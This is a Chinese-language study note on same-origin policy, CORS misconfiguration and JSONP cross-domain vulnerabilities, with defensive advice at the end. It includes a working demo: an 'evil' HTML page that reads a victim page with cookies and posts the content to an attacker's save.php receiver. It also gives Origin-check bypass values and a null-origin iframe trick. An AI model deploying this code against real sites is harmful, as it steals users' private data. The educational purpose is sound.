跨域
SOP,同源策略 (Same Origin Policy),該策略是瀏覽器的一個安全基石,如果沒有同源策略,那么,你打開了一個合法網站,又打開了一個惡意網站。惡意網站的腳本能夠隨意的操作合法網站的任何可操作資源,沒有任何限制。
同源策略限制從一個源加載的文檔或腳本與來自另一個源的資源進行交互,這是一個用於隔離潛在惡意文件的關鍵的安全機制.簡單說就是瀏覽器的一種安全策略。
“同源”包括三個條件:
- 同協議
- 同域名
- 同端口
隨着互聯網的發展,同源策略越來越嚴格,目前,對於非同源的網站共有三種行為受到限制。
(1) Cookie. LocalStorage和IndexDB無法獲取。
(2) DOM無法獲得。
(3) Ajax請求不能發送。
同源策略的具體表現舉例:當attacker.me試圖獲取victim.me下的資源,瀏覽器會阻止返回該資源。(這里在本地通過hosts綁定兩個域名)
這里我們沒有設置CORS策略,直接通過XMLHttpRequest去加載
SOP是一個很好的策略,但是隨着Web應用的發展,網站由於自身業務的需求,需要實現一些跨域的功能,能夠讓不同域的頁面之間能夠相互訪問各自頁面的內容。
跨域:指的是瀏覽器不能執行其它網站的腳本,它是由瀏覽器的同源策略造成的,是瀏覽器的安全限制!
跨域常見的兩種方式,分別是JSONP和CORS。
還有很多標簽可以跨域(如script,img,iframe,link等),主域下不同子域設置document.domain也可以跨域訪問
CORS跨域
CORS,跨域資源共享(Cross-origin resource sharing),是H5提供的一種機制,WEB應用程序可以通過在HTTP增加字段來告訴瀏覽器,哪些不同來源的服務器是有權訪問本站資源的,當不同域的請求發生時,就出現了跨域的現象。
跨域訪問的一些場景:
- 比如后端開發完一部分業務代碼后,提供接口給前端用,在前后端分離的模式下,前后端的域名是不一致的,此時就會發生跨域訪問的問題。
- 程序員在本地做開發,本地的文件夾並不是在一個域下面,當一個文件需要發送ajax請求,請求另外一個頁面的內容的時候,就會跨域。
- 電商網站想通過用戶瀏覽器加載第三方快遞網站的物流信息。
- 子站域名希望調用主站域名的用戶資料接口,並將數據顯示出來。
CORS漏洞的攻擊流程:
那么CORS跨域導致用戶信息泄漏是怎么發生的呢?
- 假設用戶登陸一個含有CORS配置網站
vuln.com
,同時又訪問了攻擊者提供的一個鏈接evil.com
。 evil.com
的網站向vuln.com
這個網站發起請求獲取敏感數據,瀏覽器能否接收信息取決於vuln.com
的配置。- 如果
vuln.com
配置了Access-Control-Allow-Origin
頭且為預期,那么允許接收,否則瀏覽器會因為同源策略而不接收。
本地簡單演示
漏洞地址:http://www.testzb.com/cc.php
攻擊地址:http://www.cors.com/index.html
正常通過ajax去請求更新資源就是如上圖所示,由於同源策略,無法獲取資源
當設置Access-Control-Allow-Origin並且允許域為任意的時候
添加
header("Access-Control-Allow-Origin:*");
我們模擬下黑客給用戶發送惡意頁面
http://www.cors.com/index.html
<!DOCTYPE> <html> <h1>Hello I evil page. </h1> <script type="text/javascript"> function loadXMLDoc() { var xhr1; var xhr2; if(window.XMLHttpRequest) { xhr1 = new XMLHttpRequest(); xhr2 = new XMLHttpRequest(); } else { xhr1 = new ActiveXObject("Microsoft.XMLHTTP"); xhr2= new ActiveXObject("Microsoft.XMLHTTP"); } xhr1.onreadystatechange=function() { if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response { var datas=xhr1.responseText; console.log(datas); xhr2.open("POST","http://www.cors.com/save.php","true"); xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xhr2.send("T1="+escape(datas)); } } xhr1.open("GET","http://www.testzb.com/cc.php","true") //request user page. xhr1.withCredentials = true; //request with cookie xhr1.send(); } loadXMLDoc(); </script> </html>
意思就是創建一個XMLHttpRequest對象,當用戶訪問惡意界面時,XMLHttpRequest去訪問用戶敏感頁面,如果返回正常,會將獲取到的頁面信息傳入到攻擊者設置的save.php接收頁面
save.php
<?php $myfile = fopen("secrect.html", "w+") or die("Unable to open file!"); $txt = $_POST['T1']; fwrite($myfile, $txt); fclose($myfile); ?>
我設置了xhr1.withCredentials為true,意為想要帶上 cookie去訪問,但是服務端沒有設置"Access-Control-Allow-Credentials:true",意為允許客戶端攜帶驗證信息
而且當服務端出現
header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true");
這種配置出現時,瀏覽器會拒接呈現服務端返回的資源
客戶端不帶cookie請求的話還是會正常呈現的,因為cookie是一種身份標識,一旦瀏覽器標識了用戶身份,那么返回的數據必然屬於用戶個人,所以瀏覽器設計了這種措施來保護用戶數據不被泄露。
服務端配置修改如下:
header("Access-Control-Allow-Origin: http://www.cors.com"); header("Access-Control-Allow-Credentials:true");
指定域名時就可以客戶端可以請求帶上cookie
模仿受害者訪問index.html
攻擊者就抓取到了用戶的敏感頁面
CORS錯誤配置問題總結
ACAO
與ACAC
頭錯誤配置
利用空格來分隔多個源 Access-Control-Allow-Origin: https://example1.com https://example2.com
利用通配符信任所有的子域名 Access-Control-Allow-Origin: *.example.com
瀏覽器報錯
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
Nginx 錯誤配置示例:
add_header "Access-Control-Allow-Origin" $http_origin; add_header “Access-Control-Allow-Credentials” “true”;
動態生成訪問控制策略的方法:在Access-Control-Allow-Origin
中反射請求的Origin值。該配置可導致任意攻擊者網站可以直接跨域讀取其資源內容。
Origin校驗繞過
target.domain
允許example.com
跨域,對example.com
進行校驗
匹配方式 | 校驗內容 | 繞過方式 |
---|---|---|
包含匹配 | 只校驗是否包含example.com |
構造Origin: https://malicious.example.com |
前綴匹配 | 只校驗前綴是否為example.com |
構造Origin: https://example.com.malicious.com. |
后綴匹配 | 只校驗后綴是否為example.com |
構造Origin: https://maliciousexample.com |
子域名匹配 | 只校驗是否為子域名 | 控制目標站點某一子域名或利用存在XSS漏洞的子域名 |
盡量避免使用正則表達式進行校驗
案例:https://www.freebuf.com/articles/web/158529.html
信任null源
開發者在網站上配置信任null
源,用於調試代碼(頁面跳轉、與本地file頁面共享數據)
Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
攻擊者可從任意域下通過iframe sandbox
構造Origin
為null
的跨域請求
<iframe sandbox=”allow-scripts allow-top-navigation allow-forms” src=’data:text/html,’>
請求包
GET /handler Host: target.local Origin: null
響應包
HTTP/1.1 200 OK Acess-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
HTTPS域信任HTTP域
HTTPS協議被設計用於在不安全的網絡中進行安全通信。即使在中間人網絡環境下,攻擊者也應該無法讀取HTTPS網站的內容。但是如果該HTTPS網站配置了CORS且信任HTTP域,那么中間人攻擊者可以先劫持受信任HTTP域,然后通過這個域發送跨域請求到HTTPS網站,間接讀取HTTPS域下的受保護內容。
信任自身全部子域
為了防止某個子域上XSS漏洞的危害其他子域,瀏覽器設計了Cookie
的httponly
標志,用於限制Javascript讀取Cookie,因此某個子域XSS不能讀取帶有httponly
標記的Cookie
,難以竊取其他重要子域上的敏感內容。 但是如果這個域配置了CORS且信任全部子域,那么攻擊者可以利用其他任意子域上XSS漏洞,發送跨域請求到目標重要域網站,從而獲取敏感內容。
案例:https://www.freebuf.com/articles/web/204023.html
Origin:*
與 Credentials:true
共用
瀏覽器報錯
Access-Control-Allow-Origin:* Access-Control-Allow-Credentials:true
為避免該配置產生瀏覽器報錯,部分Web框架將Access-Control-Allow-Origin:*
與Access-Control-Allow-Credentials:true
轉換為反射Origin,導致產生安全問題
缺少Vary:Origin
頭
當 Access-Control-Allow-Origin
是被動態生成的話,則需指定 Vary: Origin
標頭,避免攻擊者利用緩存進行攻擊。該頭部字段向客戶端表明,服務器端的返回內容將根據請求中 Origin
的值發生變化
Vary: Origin頭詳解https://zhuanlan.zhihu.com/p/38972475
CORS防御
關閉不必要開啟的CORS
白名單限制:定義“源”的白名單,避免使用正則表達式,不要配置Access-Control-Allow-Origin
為通配符*
或null
,嚴格效驗來自請求數據包中的Origin
的值
僅允許使用安全協議,避免中間人攻擊
盡可能的返回Vary: Origin
頭部,以避免攻擊者利用瀏覽器緩存進行攻擊
避免將Access-Control-Allow-Credentials
標頭設置為默認值true
,跨域請求若不存在必要的憑證數據,則根據實際情況將其設置為false
限制跨域請求允許的方法,Access-Control-Allow-Methods
最大限度地減少所涉及的方法,降低風險
限制瀏覽器緩存期限:建議通過Access-Control-Allow-Methods
和Access-Control-Allow-Headers
頭部,限制瀏覽器緩存信息的時間。通過配置Access-Control-Max-Age
標頭來完成,該頭部接收時間數作為輸入,該數字是瀏覽器保存緩存的時間。配置相對較低的值,確保瀏覽器在短時間內可以更新策略
僅在接收到跨域請求時才配置有關於跨域的頭部,並確保跨域請求是合法的源,以減少攻擊者惡意利用的可能性。
JSONP跨域
jsonp(JSON with Padding) 是 json 的一種"使用模式",可以讓網頁從別的域名(網站)那獲取資料,即跨域讀取數據。
JSONP的語法和JSON很像,簡單來說就是在JSON外部用一個函數包裹着。JSONP基本語法如下:
callback({ "name": "kwan" , "msg": "獲取成功" });
JSONP原理就是動態插入帶有跨域url的<script>
標簽,然后調用回調函數,把我們需要的json數據作為參數傳入,通過一些邏輯把數據顯示在頁面上。
常見的jsonp形式類似:
http://www.test.com/index.html?jsonpcallback=hehe
傳過去的hehe就是函數名,服務端返回的是一個函數調用,可以理解為:evil就是一個函數,(["customername1","customername2"])就是函數參數,網站前端只需要再編寫代碼處理函數返回的值即可
上述解釋參考自先知社區,文章最下面鏈接中有。
大家需要注意一點:jsonp並不能解決所有的跨域問題,因為使用jsonp跨域需要被提供jsonp接口
想要看下代碼層面如何實現的可以參考菜鳥教程JSOPN教程
以我簡單的理解來說,就是傳遞一個函數名給jsonp接口參數,然后服務端返回函數{數據}這樣的結果,通過客戶端頁面的js函數,將傳回來的數據作為函數的參數
JSONP的防護
1、嚴格安全的實現 CSRF 方式調用 JSON 文件:限制 Referer 、部署一次性 Token 等。
2、嚴格安裝 JSON 格式標准輸出 Content-Type 及編碼( Content-Type : application/json; charset=utf-8 )。
3、嚴格過濾 callback 函數名及 JSON 里數據的輸出。
4、嚴格限制對 JSONP 輸出 callback 函數名的長度(如防御上面 flash 輸出的方法)。
5、其他一些比較“猥瑣”的方法:如在 Callback 輸出之前加入其他字符(如:/**/、回車換行)這樣不影響 JSON 文件加載,又能一定程度預防其他文件格式的輸出。還比如 Gmail 早起使用 AJAX 的方式獲取 JSON ,聽過在輸出 JSON 之前加入 while(1) ;這樣的代碼來防止 JS 遠程調用
學習總結
對於CORS和JSONP跨域漏洞,我認為主要是對一些敏感的接口嘗試CORS和JSONP跨域漏洞的測試。
CORS:添加Origin頭測試服務端返回頭來判斷CORS的配置是否有問題。
JSONP:fuzz JSONP的接口參數,通過回顯長度判斷測試接口參數。JSONP還可以產生XSS,因為直接返回的是你請求的函數名,注入XSS payload,也能打XSS
對於上述兩個漏洞,我認為在邏輯業務碰到的情況較多。
看了兩三天才看懂JSONP和CORS跨域漏洞的問題。汗,這里稍微學習下,很多細節或者案例沒有寫,寫了也是復制粘貼上去,不如有興趣的可以看下面的參考鏈接。
唐龍師傅寫的總結中提到了的誤區也是我為什么學習兩天才明白的原因。
參考鏈接:
https://www.freebuf.com/column/207802.html
https://www.anquanke.com/post/id/97671
http://www.ruanyifeng.com/blog/2016/04/cors.html
https://www.freebuf.com/column/194652.html
https://www.anquanke.com/post/id/152339
一些文章: